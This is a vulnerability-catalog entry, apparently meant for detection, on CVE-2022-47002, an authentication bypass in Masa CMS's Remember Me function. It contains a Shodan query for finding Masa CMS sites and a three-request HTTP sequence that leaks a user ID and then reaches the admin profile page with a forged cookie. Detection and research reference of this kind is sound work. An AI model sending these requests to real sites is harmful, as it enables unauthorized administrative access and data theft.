🔙 목록으로 돌아가기

CVE-2022-47002: Masa CMS - Authentication Bypass

TitleMasa CMS - Authentication Bypass
Authoriamnoooob,rootxharsh,pdresearch
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.
RemediationApply the latest security patch or update provided by the vendor to fix the authentication bypass vulnerability in Masa CMS.
CVSS Score9.8
EPSS Score0.69749
CVE IDCVE-2022-47002
CWE IDCWE-863
Shodan QueryGenerator: Masa CMSgenerator: masa cms
Tags cve cve2022 auth-bypass cms masa masacms vuln

🔍 Vulnerability Description

Masa CMS 7.2, 7.3, and 7.4-beta are susceptible to authentication bypass in the Remember Me function. An attacker can bypass authentication via a crafted web request and thereby obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /index.cfm/_api/json/v1/DHhXsx/content/?fields=lastupdatebyid HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Accept-Encoding: gzip
GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Connection: close
Cookie: userid=xK8AqP; userhash=
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-47002.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-47002.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A